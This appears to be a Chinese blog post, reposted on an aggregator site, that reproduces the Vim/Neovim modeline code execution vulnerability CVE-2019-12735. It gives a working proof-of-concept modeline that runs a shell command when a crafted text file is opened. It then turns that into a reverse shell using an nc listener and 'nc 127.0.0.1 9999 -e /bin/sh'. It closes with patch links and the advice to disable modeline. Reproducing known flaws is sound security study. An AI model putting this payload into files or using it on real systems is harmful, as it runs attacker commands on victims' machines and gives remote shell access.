zoukankan      html  css  js  c++  java
  • Vim任意代码执行漏洞(CVE-2019-12735)

    Vim通过Modelines执行任意代码
    漏洞概要: 在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

    复现条件: 确保未禁用modeline选项(:set modeline)。
    开启 modeline
    # vim /usr/share/vim/vimrc
    大概在50行写入    :set modeline
     
    复现过程:
    1.    创建poc.txt
    输入代码  :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! \%"):fdl=0:fdt="

     
    2.    用vim打开poc.txt
     
    可以看到vim在打开poc.txt的时候执行了uname -a命令


    进阶:创建反弹shell
    1.监听反弹端口
    #nc –lvp 9999
     
    2.利用nc反弹shell
     将之前的把uname –a 更换为 Nohup nc 127.0.0.1 9999 –e /bin/sh
     
     
    打开后反弹shell
     


    修复建议:
    一:打补丁
    Vim补丁8.1.1365 
    https://github.com/vim/vim/commit/5357552
    Neovim补丁(在v0.3.6中发布)
    https://github.com/neovim/neovim/pull/10082
    https://github.com/neovim/neovim/releases/tag/v0.3.6

    二:在vimrc(set nomodeline)中禁用model,使用securemodelines 插件
     

    本博客记录Sylon的学习总结和学习情况做记录 望今后能记录自己的学习之路,同时分享高品质博文!!!
  • 相关阅读:
    Spring学习之旅(二)--容器
    Spring学习之旅(一)--初始Spring
    Logback的使用
    DES加解密工具类
    Lombok插件的使用
    from 表单用 GET 方法进行 URL 传值时后台无法获取问题
    组播
    linux头文件路径
    IANA
    6号板获取或放文件
  • 原文地址:https://www.cnblogs.com/Sylon/p/11747481.html
Copyright © 2011-2022 走看看